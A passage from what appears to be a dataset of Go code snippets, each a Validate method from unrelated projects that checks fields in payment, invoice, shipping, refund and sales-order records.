{\n\t\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.status`, *mt.Status, []interface{}{\"cancelled\", \"failed\", \"purchased\", \"pending\", \"new\"}))\n\t\t}\n\t}\n\tif mt.ToAddress != nil {\n\t\tif err2 := mt.ToAddress.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\tif mt.Tracker != nil {\n\t\tif err2 := mt.Tracker.Validate(); err2 != nil {\n\t\t\terr = goa.MergeErrors(err, err2)\n\t\t}\n\t}\n\treturn\n}","func (m *LineItem) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateDigitalItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateGiftCertificates(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePhysicalItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVirtualItems(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (rdAddendumB *ReturnDetailAddendumB) Validate() error {\n\tif err := rdAddendumB.fieldInclusion(); err != nil {\n\t\treturn err\n\t}\n\tif rdAddendumB.recordType != \"33\" {\n\t\tmsg := fmt.Sprintf(msgRecordType, 33)\n\t\treturn &FieldError{FieldName: \"recordType\", Value: rdAddendumB.recordType, Msg: msg}\n\t}\n\tif err := rdAddendumB.isAlphanumericSpecial(rdAddendumB.PayorBankName); err != nil {\n\t\treturn &FieldError{FieldName: \"PayorBankName\", Value: rdAddendumB.PayorBankName, Msg: err.Error()}\n\t}\n\tif err := rdAddendumB.isAlphanumericSpecial(rdAddendumB.PayorAccountName); err != nil {\n\t\treturn &FieldError{FieldName: \"PayorAccountName\", Value: rdAddendumB.PayorAccountName, Msg: err.Error()}\n\t}\n\n\tif date := rdAddendumB.PayorBankBusinessDate; !date.IsZero() {\n\t\t// optional field - if present, year must be between 1993 and 9999\n\t\tif date.Year() < 1993 || date.Year() > 9999 {\n\t\t\treturn &FieldError{FieldName: \"PayorBankBusinessDate\",\n\t\t\t\tValue: rdAddendumB.PayorBankBusinessDateField(), Msg: msgInvalidDate + \": year must be between 1993 and 9999\"}\n\t\t}\n\t}\n\n\treturn nil\n}","func (m *DocumentPayment) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAmount(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDocumentID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProvider(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReference(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (p *ProofOfServiceDoc) Validate(_ *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.UUIDIsPresent{Field: p.PaymentRequestID, Name: \"PaymentRequestID\"},\n\t), nil\n}","func (i *Inventory) Validate() error {\n\n\t// TODO: implement\n\treturn nil\n}","func (m InvoiceDeliveryMethod) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// value enum\n\tif err := m.validateInvoiceDeliveryMethodEnum(\"\", \"body\", m); err != nil {\n\t\treturn err\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *Discount422Error) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *Purchase) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for UserId\n\n\tif v, ok := interface{}(m.GetTimestamp()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn PurchaseValidationError{\n\t\t\t\tfield: \"Timestamp\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\t// no validation rules for Items\n\n\t// no validation rules for Amount\n\n\t// no validation rules for SrcAddressId\n\n\t// no validation rules for DestAddressId\n\n\t// no validation rules for MerchantId\n\n\t// no validation rules for DistanceInKilometers\n\n\t// no validation rules for ShippingId\n\n\treturn nil\n}","func (p paymentJson) Validate() error {\n\tif p.AccountId == \"\" {\n\t\treturn errors.New(\"missing customer id\")\n\t}\n\tif p.Amount == 0 {\n\t\treturn errors.New(\"missing amount\")\n\t}\n\treturn nil\n}","func (w Warrant) Validate() error {\n\tif len(w.FirstName) == 0 {\n\t\treturn errors.New(\"missing first name element\")\n\t}\n\tif len(w.LastName) == 0 {\n\t\treturn errors.New(\"missing last name element\")\n\t}\n\tif len(w.Civility) == 0 {\n\t\treturn errors.New(\"missing civility element\")\n\t}\n\treturn nil\n}","func (m *Voucher) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAttachment(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateChanges(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDescription(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDocument(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEdiDocument(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateNumber(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePostings(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReverseVoucher(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTempNumber(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVoucherType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateYear(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *LineItemVirtualItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *Reservation) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateApproved(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBegin(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEnd(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateUsername(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *Refund) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAdditionalRecipients(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateAmountMoney(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreatedAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLocationID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProcessingFeeMoney(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReason(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTenderID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTransactionID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m FilledQuantity) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (m *Intake) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateGovernance(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (o *GetInteractionsInviteInviteCodeStatusOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (m *SovrenParserModelSovrenDateWithParts) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (doc *Document) Valid() error {\n\tif doc.ID == \"\" {\n\t\treturn errors.New(\"missing ID\")\n\t}\n\n\tif err := doc.Resource.Change.Valid(); err != nil {\n\t\treturn errors.Wrap(err, \"invalid Resource.Change\")\n\t}\n\treturn nil\n}","func validateNewInvoideData(stub shim.ChaincodeStubInterface, args []string) []byte {\n\tvar output string\n\tmsg := validateInvoiceDetails(stub, args)\n\n\tif msg == \"\" {\n\t\toutput = \"{\\\"validation\\\":\\\"Success\\\",\\\"msg\\\" : \\\"\\\" }\"\n\t} else {\n\t\toutput = \"{\\\"validation\\\":\\\"Failure\\\",\\\"msg\\\" : \\\"\" + msg + \"\\\" }\"\n\t}\n\treturn []byte(output)\n}","func (o *CreateProductUnprocessableEntityBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (inf *Inflation) Validate() error {\n\t// no required fields, return nil.\n\treturn nil\n}","func (mt *EasypostInsurances) Validate() (err error) {\n\tif mt.Insurances == nil {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"insurances\"))\n\t}\n\n\tfor _, e := range mt.Insurances {\n\t\tif e.ID == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response.insurances[*]`, \"id\"))\n\t\t}\n\t\tif e.Object == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response.insurances[*]`, \"object\"))\n\t\t}\n\n\t\tif e.Fee != nil {\n\t\t\tif err2 := e.Fee.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t\tif e.FromAddress != nil {\n\t\t\tif err2 := e.FromAddress.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t\tif ok := goa.ValidatePattern(`^ins_`, e.ID); !ok {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.insurances[*].id`, e.ID, `^ins_`))\n\t\t}\n\t\tif !(e.Mode == \"test\" || e.Mode == \"production\") {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.insurances[*].mode`, e.Mode, []interface{}{\"test\", \"production\"}))\n\t\t}\n\t\tif ok := goa.ValidatePattern(`^Insurance$`, e.Object); !ok {\n\t\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.insurances[*].object`, e.Object, `^Insurance$`))\n\t\t}\n\t\tif e.Status != nil {\n\t\t\tif !(*e.Status == \"cancelled\" || *e.Status == \"failed\" || *e.Status == \"purchased\" || *e.Status == \"pending\" || *e.Status == \"new\") {\n\t\t\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.insurances[*].status`, *e.Status, []interface{}{\"cancelled\", \"failed\", \"purchased\", \"pending\", \"new\"}))\n\t\t\t}\n\t\t}\n\t\tif e.ToAddress != nil {\n\t\t\tif err2 := e.ToAddress.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t\tif e.Tracker != nil {\n\t\t\tif err2 := e.Tracker.Validate(); err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, err2)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}","func (o *DetailsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (o *GetVersionOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (o *AcceptInvitationBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateAlias(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func (r *createRequest) Validate() *validation.Output {\n\to := &validation.Output{Valid: true}\n\tvar err error\n\tvar PartnerID int64\n\tvar partner *model.Partnership\n\tvar sorder *model.SalesOrder\n\tvar code string\n\n\t// cek partner id ada atau tidak\n\tPartnerID, err = common.Decrypt(r.CustomerID)\n\tif err != nil {\n\t\to.Failure(\"customer_id.invalid\", \"Partnership id is invalid\")\n\t}\n\n\t// cek partner ecist or not\n\tpartner, err = partnership.GetPartnershipByField(\"id\", PartnerID)\n\n\tif err != nil || partner == nil || partner.IsDeleted == 1 || partner.IsArchived == 1 {\n\t\to.Failure(\"customer_id.invalid\", \"Partnership id is not found\")\n\t} else {\n\t\tcode, _ = CodeGen(partner.IsDefault == 1)\n\n\t\tif partner.PartnershipType != \"customer\" {\n\t\t\to.Failure(\"customer_id\", \"Customer needed to have partner type customer not supplier\")\n\t\t}\n\n\t\tif partner.IsDefault == int8(1) {\n\t\t\tif r.AutoFullfilment == int8(0) {\n\t\t\t\to.Failure(\"auto_fullfilment\", \"auto fullfilment need to be filled if Customer is walk in\")\n\t\t\t}\n\t\t\tif r.AutoInvoice == int8(0) {\n\t\t\t\to.Failure(\"auto_invoice\", \"auto invoice need to be filled if Customer is walk in\")\n\t\t\t}\n\t\t\tif r.EtaDate.IsZero() {\n\t\t\t\to.Failure(\"eta_date\", \"ETA Date need to be filled if Customer is walk in\")\n\t\t\t}\n\t\t} else {\n\t\t\tif r.ShipmentAddress == \"\" {\n\t\t\t\to.Failure(\"shipment_address\", \"Shipment address is required\")\n\t\t\t}\n\t\t}\n\n\t\tif partner.OrderRule == \"one_bill\" {\n\t\t\tvar soContainer *model.SalesOrder\n\t\t\torm.NewOrm().Raw(\"SELECT * FROM sales_order WHERE customer_id = ? AND document_status = 'new' OR document_status = 'active' AND invoice_status = 'active';\", PartnerID).QueryRow(&soContainer)\n\t\t\tif soContainer != nil {\n\t\t\t\to.Failure(\"customer_id\", \"Partner still have unfinished invoice\")\n\t\t\t}\n\t\t} else if partner.OrderRule == \"plafon\" {\n\t\t\tcurrent := partner.TotalDebt + r.TotalCharge\n\t\t\tif current >= partner.MaxPlafon {\n\t\t\t\to.Failure(\"customer_id\", \"Partnership has already reached given max plafon\")\n\t\t\t}\n\t\t}\n\t}\n\n\tif r.IsPaid == 1 {\n\t\tif r.AutoInvoice != 1 {\n\t\t\to.Failure(\"auto_invoice\", \"Auto invoice must be checked if Auto Paid is checked\")\n\t\t}\n\t}\n\n\tso := &model.SalesOrder{Code: code}\n\n\tif err := so.Read(\"Code\"); err == nil {\n\t\to.Failure(\"code\", \"Code sales order is already being used\")\n\t} else {\n\t\tr.Code = code\n\t}\n\n\ttz := time.Time{}\n\tif r.EtaDate == tz {\n\t\to.Failure(\"eta_date\", \"Field is required.\")\n\t}\n\n\t// cek status reference id\n\tif r.ReferencesID != \"\" {\n\t\trefID, err := common.Decrypt(r.ReferencesID)\n\t\tif err != nil {\n\t\t\to.Failure(\"references_id\", \"References id is not valid\")\n\t\t}\n\t\tvar emptyLoad []string\n\t\tsorder, err = GetDetailSalesOrder(refID, emptyLoad)\n\t\tif err != nil {\n\t\t\to.Failure(\"references_id\", \"References is not found\")\n\t\t} else {\n\t\t\tif sorder.DocumentStatus != \"approved_cancel\" {\n\t\t\t\to.Failure(\"references_id\", \"References document status is not cancel\")\n\t\t\t}\n\t\t}\n\t}\n\n\tcheckDuplicate := make(map[string]bool)\n\tvar checkVariant = make(map[int64]*model.ItemVariant)\n\n\tfor _, row := range r.SalesOrderItem {\n\t\tIVariantID, _ := common.Decrypt(row.ItemVariantID)\n\t\tivar := &model.ItemVariant{ID: IVariantID}\n\t\tivar.Read(\"ID\")\n\t\t////////////////////////////////\n\t\tif checkVariant[ivar.ID] == nil {\n\t\t\tivar.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = ivar\n\t\t} else {\n\t\t\tvariant := checkVariant[ivar.ID]\n\t\t\tvariant.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = variant\n\t\t}\n\t\t////////////////////////////////\n\t}\n\n\t// cek setiap sales order item\n\tfor i, row := range r.SalesOrderItem {\n\t\tvar UnitA float64\n\t\tvar PricingID, IVariantID int64\n\t\tvar ItemVariant *model.ItemVariant\n\t\tvar IVPrice *model.ItemVariantPrice\n\t\t// cek item variant,pricing type dan item variant price\n\t\tPricingID, err = common.Decrypt(row.PricingType)\n\n\t\tif err != nil {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type id is invalid\")\n\t\t}\n\n\t\tIVariantID, err = common.Decrypt(row.ItemVariantID)\n\t\tif err != nil {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant.invalid\", i), \"Item Variant id is invalid\")\n\t\t}\n\n\t\tvar pt = &model.PricingType{ID: PricingID}\n\t\tpt.Read(\"ID\")\n\t\tvar iv = &model.ItemVariant{ID: IVariantID}\n\t\tiv.Read(\"ID\")\n\n\t\tIVPrice, err = getItemVariantPricing(pt, iv)\n\t\tif err == nil {\n\t\t\tif pt.ParentType != nil {\n\t\t\t\tif pt.RuleType == \"increment\" {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif UnitA < 0 {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type can make price become zero\")\n\t\t\t\t\t}\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif row.UnitPrice < IVPrice.UnitPrice {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"item variant price doesn't exist\")\n\t\t}\n\n\t\tItemVariant, err = inventory.GetDetailItemVariant(\"id\", IVariantID)\n\t\tif err != nil || ItemVariant == nil || ItemVariant.IsDeleted == int8(1) || ItemVariant.IsArchived == int8(1) {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \"Item variant id not found\")\n\t\t} else {\n\n\t\t\t// cek stock dari item variant sama quantity soi\n\t\t\tif (checkVariant[ItemVariant.ID].AvailableStock - ItemVariant.CommitedStock) < row.Quantity {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.quantity.invalid\", i), \"Stock item is not enough to be sold\")\n\t\t\t}\n\n\t\t\t//check duplicate item variant id\n\t\t\tif checkDuplicate[row.ItemVariantID] == true {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \" item variant id duplicate\")\n\t\t\t} else {\n\t\t\t\tcheckDuplicate[row.ItemVariantID] = true\n\t\t\t}\n\t\t}\n\n\t\tdiscamount := (row.UnitPrice * float64(row.Discount)) / float64(100)\n\t\tcuramount := row.UnitPrice * float64(row.Quantity)\n\t\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\n\n\t\tr.TotalPrice += subtotal\n\t}\n\n\tif r.IsPercentageDiscount == int8(1) {\n\t\tif r.Discount < 0 || r.Discount > float32(100) {\n\t\t\to.Failure(\"discount\", \"discount is less than and equal 0 or greater than 100\")\n\t\t}\n\t}\n\n\treturn o\n}","func (o *OrderItem) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}","func (r *Sub1099A) Validate() error {\n\treturn utils.Validate(r, config.Sub1099ALayout, config.Sub1099AType)\n}","func validateNewInvoideData(stub shim.ChaincodeStubInterface, args []string) []byte {\r\n\tvar output string\r\n\tmsg := validateInvoiceDetails(stub, args)\r\n\r\n\tif msg == \"\" {\r\n\t\toutput = \"{\\\"validation\\\":\\\"Success\\\",\\\"msg\\\" : \\\"\\\" }\"\r\n\t} else {\r\n\t\toutput = \"{\\\"validation\\\":\\\"Failure\\\",\\\"msg\\\" : \\\"\" + msg + \"\\\" }\"\r\n\t}\r\n\treturn []byte(output)\r\n}","func (it Item) Validate() error {\n\tvar err error\n\treturn err\n}","func (r *updateRequest) Validate() *validation.Output {\n\to := &validation.Output{Valid: true}\n\tvar err error\n\t// cek document status so\n\tif r.SalesOrder.DocumentStatus != \"new\" {\n\t\to.Failure(\"document_status\", \"document_status should be new\")\n\t}\n\n\tcheckDuplicate := make(map[string]bool)\n\tcheckVariant := make(map[int64]*model.ItemVariant)\n\n\ttz := time.Time{}\n\tif r.EtaDate == tz {\n\t\to.Failure(\"eta_date\", \"Field is required.\")\n\t}\n\n\tfor _, row := range r.SalesOrderItem {\n\t\tIVariantID, _ := common.Decrypt(row.ItemVariantID)\n\t\tivar := &model.ItemVariant{ID: IVariantID}\n\t\tivar.Read(\"ID\")\n\t\t////////////////////////////////\n\t\tif checkVariant[ivar.ID] == nil {\n\t\t\tivar.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = ivar\n\t\t} else {\n\t\t\tvariant := checkVariant[ivar.ID]\n\t\t\tvariant.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = variant\n\t\t}\n\t\t////////////////////////////////\n\t}\n\n\t// cek setiap sales order item\n\tfor i, row := range r.SalesOrderItem {\n\t\t// validasi id\n\t\tif row.ID != \"\" {\n\t\t\tif ID, err := common.Decrypt(row.ID); err != nil {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.id.invalid\", i), \"id is not valid\")\n\t\t\t} else {\n\t\t\t\tsoItem := &model.SalesOrderItem{ID: ID}\n\t\t\t\tif err := soItem.Read(); err != nil {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.id.invalid\", i), \"id is not found\")\n\t\t\t\t}\n\n\t\t\t\t//check duplicate sales order item id\n\t\t\t\tif checkDuplicate[row.ID] == true {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.id.invalid\", i), \"id duplicate\")\n\t\t\t\t} else {\n\t\t\t\t\tcheckDuplicate[row.ID] = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tvar UnitA float64\n\t\tvar PricingID, IVariantID int64\n\t\tvar ItemVariant *model.ItemVariant\n\t\tvar IVPrice *model.ItemVariantPrice\n\t\t// cek pricing type\n\t\tPricingID, err = common.Decrypt(row.PricingType)\n\t\tif err != nil {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type id is invalid\")\n\t\t} else {\n\t\t\tif _, err = pricingType.GetPricingTypeByID(PricingID); err != nil {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type id is not found\")\n\t\t\t}\n\t\t}\n\n\t\tIVariantID, err = common.Decrypt(row.ItemVariantID)\n\t\tif err != nil {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant.invalid\", i), \"Item Variant id is invalid\")\n\t\t}\n\n\t\tvar pt = &model.PricingType{ID: PricingID}\n\t\tpt.Read(\"ID\")\n\t\tvar iv = &model.ItemVariant{ID: IVariantID}\n\t\tiv.Read(\"ID\")\n\n\t\tIVPrice, err = getItemVariantPricing(pt, iv)\n\t\tif err == nil {\n\t\t\tif pt.ParentType != nil {\n\t\t\t\tif pt.RuleType == \"increment\" {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif UnitA < 0 {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type can make price become zero\")\n\t\t\t\t\t}\n\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif row.UnitPrice < IVPrice.UnitPrice {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"item variant price doesn't exist\")\n\t\t}\n\n\t\tItemVariant, err = inventory.GetDetailItemVariant(\"id\", IVariantID)\n\t\tif err != nil || ItemVariant == nil || ItemVariant.IsDeleted == int8(1) || ItemVariant.IsArchived == int8(1) {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \"Item variant id not found\")\n\t\t} else {\n\n\t\t\tSoItemID, _ := common.Decrypt(row.ID)\n\t\t\tSoItem := &model.SalesOrderItem{ID: SoItemID}\n\t\t\tif e := SoItem.Read(\"ID\"); e != nil {\n\t\t\t\tSoItem.Quantity = 0\n\t\t\t}\n\n\t\t\t// cek stock item variant\n\t\t\tif ((checkVariant[ItemVariant.ID].AvailableStock - checkVariant[ItemVariant.ID].CommitedStock) + SoItem.Quantity) < row.Quantity {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.quantity.invalid\", i), \"Stock item is not enough to be sold\")\n\t\t\t}\n\n\t\t\tcheckVariant[ItemVariant.ID].CommitedStock += row.Quantity\n\n\t\t\t//check duplicate item variant id\n\t\t\tif checkDuplicate[row.ItemVariantID] == true {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \" item variant id duplicate\")\n\t\t\t} else {\n\t\t\t\tcheckDuplicate[row.ItemVariantID] = true\n\t\t\t}\n\n\t\t}\n\n\t\t// Calculate total price\n\t\tdiscamount := (row.UnitPrice * float64(row.Discount)) / float64(100)\n\t\tcuramount := row.UnitPrice * float64(row.Quantity)\n\t\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\n\n\t\tr.TotalPrice += subtotal\n\t}\n\n\tif r.IsPercentageDiscount == int8(1) {\n\t\tif r.Discount < 0 || r.Discount > float32(100) {\n\t\t\to.Failure(\"discount\", \"discount is less than and equal 0 or greater than 100\")\n\t\t}\n\t}\n\n\treturn o\n}","func (m *AgreementProductsSubFilter) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (bva BaseVestingAccount) Validate() error {\n\tif !(bva.DelegatedVesting.IsAllLTE(bva.OriginalVesting)) {\n\t\treturn errors.New(\"delegated vesting amount cannot be greater than original vesting amount\")\n\t}\n\treturn bva.BaseAccount.Validate()\n}","func (o *ScanProductsBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateBody(formats); err != nil {\n\t\tres 